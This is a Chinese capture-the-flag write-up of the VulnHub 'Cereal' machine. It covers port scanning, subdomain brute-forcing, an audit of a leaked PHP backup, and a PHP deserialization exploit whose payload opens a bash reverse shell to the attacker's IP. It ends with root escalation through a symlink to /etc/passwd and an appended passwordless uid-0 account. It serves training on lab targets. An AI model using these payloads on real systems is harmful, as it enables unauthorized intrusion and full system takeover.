打靶记录21——Cereal

靶机:

https://download.vulnhub.com/cereal/Cereal.ova

难度:

  • 高(最接近真实场景)

目标:

  • 取得 root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 路径枚举
  • 密码爆破
  • 域名解析
  • 匿名FTP
  • 子域名爆破
  • 源码审计
  • 反序列化漏洞
  • 进程监视
  • 本地提权

主机发现

sudo arp-scan -l

端口扫描和服务发现

sudo nmap -p- 192.168.0.102扫描全端口,发现这台靶机开启了很多端口

sudo nmap -p21,22,80,139,445,3306,11111,22222,33333,33334,44441,44444,55551,55555 -A 192.168.0.102

-A: 这个选项用于启用高级扫描功能,包括:

    • 操作系统检测:尝试识别目标主机运行的操作系统。
    • 版本检测:识别运行在开放端口上的服务的具体版本。
    • 脚本扫描:使用Nmap Scripting Engine (NSE) 执行一系列脚本以检测漏洞或获得其他信息。
    • 路由跟踪:记录从扫描主机到目标的路径。

┌──(kali㉿DESKTOP-MLG4CQ2)-[~]
└─$ sudo nmap -p21,22,80,139,445,3306,11111,22222,33333,33334,44441,44444,55551,55555 -A 192.168.0.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 22:13 CST
Nmap scan report for 192.168.0.102
Host is up (0.0011s latency).

PORT      STATE SERVICE    VERSION
21/tcp    open  ftp        vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.0.103
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0               6 Apr 12  2021 pub
22/tcp    open  ssh        OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 00:24:2b:ae:41:ba:ac:52:d1:5d:4f:ad:00:ce:39:67 (RSA)
|   256 1a:e3:c7:37:52:2e:dc:dd:62:61:03:27:55:1a:86:6f (ECDSA)
|_  256 24:fd:e7:80:89:c5:57:fd:f3:e5:c9:2f:01:e1:6b:30 (ED25519)
80/tcp    open  http       Apache httpd 2.4.37 (())
|_http-server-header: Apache/2.4.37 ()
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
| http-methods:
|_  Potentially risky methods: TRACE
139/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
3306/tcp  open  mysql?
| fingerprint-strings:
|   NULL:
|_    Host '192.168.0.103' is not allowed to connect to this MariaDB server
11111/tcp open  tcpwrapped
22222/tcp open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
33333/tcp open  tcpwrapped
33334/tcp open  tcpwrapped
44441/tcp open  http       Apache httpd 2.4.37 (())
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 ()
44444/tcp open  tcpwrapped
55551/tcp open  tcpwrapped
55555/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=11/12%Time=6733626D%P=x86_64-pc-linux-gnu%
SF:r(NULL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.0\.103'\x20is\x20not\x2
SF:0allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
MAC Address: 08:00:27:BD:76:28 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Unix

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   1.08 ms 192.168.0.102

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.41 seconds

发现开启了 vsftpd 3.0.3,那么搜索一下有没有已知漏洞可以利用 searchsploit vsftpd 3.0.3发现远程拒绝服务攻击的利用脚本,但是对于我们突破边界是没有任何帮助的

匿名 FTP

开了 21 端口,那么使用 ftp 客户端连接到 IP 地址为 192.168.0.102 的 FTP 服务器

anonymous:你以匿名用户登录,这是一种不需要用户名和密码的常见访问方式

发现服务器上没有任何可以下载的文件,也不能将文件上传上去

nc 上去也提示是非法的命令,所以只能暂时将FTP服务放过了

发现开启了 139 和 445 端口,使用 enum4linux 工具,

enum4linux 是一个用于枚举 Windows 和 Samba 系统信息的工具。它主要用于信息收集和漏洞评估,特别是在渗透测试和安全审计过程中。通过利用 SMB(Server Message Block)协议,enum4linux 能够提取大量有用的信息。

显示 No reply from 192.168.0.102 说明没有任何返回信息

那我们只能从 80 和 44441 端口来找突破点了


kex --win -s 打不开,暂停了,那就直接在命令行输入 firefox 打开浏览器

源码当中也没有任何有价值的信息

信息收集,路径枚举

那么用爬站工具爬一下

dirb http://192.168.0.105

用万能密码的方式也进不去,爆破也没有任何反馈

发现要用 http://cereal.ctf 这个域名才能访问,然后还可能存在 backup 备份文件,如果能拿到备份文件,那么我们可以通过代码审计的方式来发现漏洞

于是接下来先编辑一下我们本机的 hosts 文件

sudo vi /etc/hosts

访问 http://192.168.0.105/blog/wp-admin/ 就成功重定向到了Wordpress 的后台登录界面

登录框进行弱口令暴力破解也进不去

用 kali 自带的 wpscan 进行扫描

wpscan --url http://cereal.ctf/blog -e vt,vp --plugins-detection mixed

最后也没有发现有价值的信息

那前面有提示说有 backup 备份文件,我们尝试找一下

用工具 dirbuster,用完没有发现备份文件

那我们还是把目光放到 44441 端口上吧,也没跑出什么信息

子域名爆破

那我们尝试查找子域名

gobuster dns -d cereal.ctf -r 192.168.31.26:44441 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 256
  • dns DNS子域暴力破解模式
  • -t,--threads int 指定线程数量(默认10)
  • -d,--domain string 目标域

找到一个子域名 secure.cereal.ctf,添加到 hosts 文件里面

打开发现是经典的命令执行靶场的界面

源码审计

Ctrl + U 查看网页代码发现有序列化操作

function submit_form() {
		var object = serialize({ipAddress: document.forms["ipform"].ip.value});
		object = object.substr(object.indexOf("{"),object.length);
		object = "O:8:\"pingTest\":1:" + object;
		document.forms["ipform"].obj.value = object;
		document.getElementById('ipform').submit();
}

这段代码是一个 JavaScript 函数 submit_form,用于处理表单提交。下面是对代码的逐行解释:

  1. function submit_form() {
    定义一个名为 submit_form 的函数。
  2. var object = serialize({ipAddress: document.forms["ipform"].ip.value});
    创建一个对象,包含一个属性 ipAddress,其值来自名为 ipform 的表单中的 ip 输入字段。然后,调用 serialize 函数将该对象序列化成字符串。
  3. object = object.substr(object.indexOf("{"), object.length);
    获取序列化字符串中第一个 { 字符开始到字符串末尾的部分。这通常是为了确保获取到完整的 JSON 或对象字符串。
  4. object = "O:8:"pingTest":1:" + object;
    这行代码将字符串 "O:8:\"pingTest\":1:" 添加到序列化的对象字符串前面。这个格式可能与某种特定的序列化方式有关,通常在 PHP 中用于表示对象。
  5. document.forms["ipform"].obj.value = object;
    将处理后的 object 字符串赋值给 ipform 表单中的 obj 字段。这意味着在提交表单时,这个字段将包含处理后的数据。
  6. document.getElementById('ipform').submit();
    通过调用 submit() 方法提交表单。

总的来说,这个函数的主要作用是获取用户输入的 IP 地址,将其序列化并格式化成特定的字符串,然后将这个字符串存入表单的一个隐藏字段中,最后提交表单。在实际使用中,需要确保 serialize 函数的存在并能够正确处理对象序列化。

反序列化漏洞

拿到源码才能反序列化,尝试查找备份文件,因为作者前面给过提示说有 backup 备份文件

gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 300 -e

再从这个路径下找备份文件,看看有没有后缀是 bak,tar,zip,back 的文件

gobuster dir -r -u http://secure.cereal.ctf:44441/back_en/ -x bak,tar,zip,back -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 300 -e

发现一个 index.php.bak

下载下来拿到源码

<?php

class pingTest {
	public $ipAddress = "127.0.0.1";
	public $isValid = False;
	public $output = "";

	function validate() {
		if (!$this->isValid) {
			if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
			{
				$this->isValid = True;
			}
		}
		$this->ping();

	}

	public function ping()
        {
		if ($this->isValid) {
			$this->output = shell_exec("ping -c 3 $this->ipAddress");	
		}
        }

}

if (isset($_POST['obj'])) {
	$pingTest = unserialize(urldecode($_POST['obj']));
} else {
	$pingTest = new pingTest;
}

$pingTest->validate();

这段 PHP 代码定义了一个 pingTest 类,并使用该类来验证和执行对一个 IP 地址的 ping 操作。下面是对代码的逐行解释:

类定义

  1. class pingTest {
    定义一个名为 pingTest 的类。
  2. public $ipAddress = "127.0.0.1";
    类的一个公共属性 ipAddress,默认值为 127.0.0.1(本地回环地址)。
  3. public $isValid = False;
    类的另一个公共属性 isValid,默认值为 False,用于标识 IP 地址是否有效。
  4. public $output = "";
    类的第三个公共属性 output,用于存储 ping 命令的输出结果,初始为空字符串。

方法定义

  1. function validate() {
    定义一个 validate 方法,用于验证 IP 地址。
  2. if (!$this->isValid) {
    检查 isValid 是否为 False,如果是则继续验证。
  3. if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)) {
    使用 filter_var 函数检查 ipAddress 是否是一个有效的 IP 地址。
  4. $this->isValid = True;
    如果验证通过,将 isValid 设置为 True
  5. }
    结束内层 if 语句。
  6. $this->ping();
    调用 ping 方法,如果 IP 地址有效,则执行 ping 操作。
  7. }
    结束 validate 方法。

ping 方法

  1. public function ping() {
    定义一个 ping 方法。
  2. if ($this->isValid) {
    检查 isValid 是否为 True
  3. $this->output = shell_exec("ping -c 3 $this->ipAddress");
    使用 shell_exec 函数执行系统的 ping 命令,-c 3 表示发送 3 次 ping 请求。将返回结果赋值给 output 属性。
  4. }
    结束 if 语句。
  5. }
    结束 ping 方法。

实例化和处理请求

  1. if (isset($_POST['obj'])) {
    检查是否有 obj 字段在 POST 请求中。
  2. $pingTest = unserialize(urldecode($_POST['obj']));
    如果存在,将 obj 字段经过 URL 解码后进行反序列化,实例化一个 pingTest 对象。
  3. } else {
    如果 obj 不存在,执行以下代码。
  4. $pingTest = new pingTest;
    创建一个 pingTest 的新实例。
  5. }
    结束 if 语句。
  6. $pingTest->validate();
    调用 validate 方法,进行 IP 地址的验证和 ping 操作。

总结

这段代码的核心功能是:

  1. 定义一个用于验证 IP 地址并执行 ping 操作的类。
  2. 通过 POST 请求接收数据,如果存在序列化的对象,则进行反序列化;否则,创建一个新的 pingTest 实例。
  3. 调用 validate 方法,检查 IP 地址的有效性,并在有效时执行 ping 操作。

使用时要注意安全性,尤其是在处理用户输入和执行 shell 命令时,以防止代码注入等安全问题。

通过代码审计发现需要把 isValid 的值设置为 True 才能绕过验证执行命令

编写 exp:

<?php
class pingTest{
    public $ipAddress = "127.0.0.1|bash -c 'bash -i >& /dev/tcp/192.168.31.126/4444 0>&1'";
    public $isValid = TRUE;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
?>

执行代码获得序列化字符串,然后通过 burp 传递给目标服务器

kali 开启 nc 监听本地 4444 端口,等待 shell 连接过来

获得第一个 flag

提权

进程监视

先把一个进程查看的文件传给靶机

文件下载地址:https://github.com/0xleft/smokescreen/blob/master/pspy64

nc -lvnp 5555 > pspy 靶机准备接受文件,并命名为pspy

nc 192.168.31.26 5555 < pspy64 -w 1

kali 把文件传过去

-w 1 参数的意思是当文件传输完毕之后隔1秒就断开连接

chmod +x pspy赋予执行权限,./pspy运行文件启动监听,大约七八分钟之后就能看见一个脚本在执行

然后就能监听到这一行 UID=0PID=2808| /bin/bash /usr/share/scripts/chown.sh

查看该文件是这个内容

chown rocky:apache /home/rocky/public_html/*

这条命令的作用是更改指定目录下所有文件和子目录的所有者和所属组。具体解释如下:

  1. chown:这是一个用于更改文件或目录所有者和所属组的命令。
  2. rocky:apache:这个部分指定新的所有者和所属组。rocky 是新的文件所有者,而 apache 是新的所属组。用冒号 : 分隔开来表示。
  3. /home/rocky/public_html/*:这是指定要更改的文件和目录的路径。* 表示匹配该路径下的所有文件和子目录。

综上所述,这条命令的作用是将 /home/rocky/public_html/ 目录下的所有文件和子目录的所有者更改为 rocky,并将它们的所属组更改为 apache

通常,这样的操作用于确保特定用户对文件或目录的访问权限,以及使相关服务(如 web 服务器)能够正确访问和使用这些文件。在指定的例子中,将文件的所属组设置为 apache 可能是为了确保 Apache web 服务器可以访问这些文件。

当前就是这个目录,我们可以通过软链接来连接 /etc/passwd,从而让我们拥有修改 /etc/passwd 文件的权限

ln -sf /etc/passwd /home/rocky/public_html/passwd

这条命令的作用是创建一个符号链接。具体解释如下:

  1. ln:这是一个用于创建链接的命令。
  2. -s:这个选项表示创建一个符号链接(也称为软链接),而不是硬链接。符号链接是一种特殊类型的文件,它指向另一个文件或目录的位置。
  3. -f:这个选项表示强制执行链接操作。如果目标文件已经存在,-f 会先删除它,然后再创建新的链接。
  4. /etc/passwd:这是被链接的源文件。在类 Unix 系统中,/etc/passwd 是一个重要的文件,通常包含了系统用户的基本信息,如用户名、用户ID、组ID、用户主目录和默认的shell等。
  5. /home/rocky/public_html/passwd:这是符号链接的目标路径,即在这个位置创建一个名为 passwd 的符号链接。

综上所述,这条命令的作用是:

  • 创建一个指向 /etc/passwd 文件的符号链接,链接名称为 /home/rocky/public_html/passwd
  • 如果 /home/rocky/public_html/passwd 已经存在,它会被删除并重新创建链接。

需要注意的是,将 /etc/passwd 的链接放在公共 HTML 目录(如 public_html)中,可能会导致安全问题,因为 /etc/passwd 文件包含有关系统用户的信息,公开这些信息可能会被恶意用户利用。因此,在实际操作中,应该谨慎处理这类链接。

本地提权

再次查看就能发现 /etc/passwd 的属主已经更改了

通过小学二年级的知识我们知道,/etc/passwd 文件中的这个 x 是一个占位符,表示的是密码,而真正的密码放在 /etc/shadow 文件里,我们可以通过把 x 给去掉,让他变成空密码

由于我们当前获得的不是一个完整的 shell,所以不能直接通过 vi 来修改,会出现乱码

那我们就直接按照 root 那一行的样子给他加一行吧,添加一个 root 权限的账户

echo "fabian::0:0:root:/root:/bin/bash" >> /etc/passwd

切换到这个账户 su - fabian

-:这个选项表示切换到目标用户的登录环境。使用 - 选项时,系统会加载目标用户的环境变量,包括用户的 PATH、HOME 目录等,这样可以使你获得目标用户的完整登录环境。

打靶完毕!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值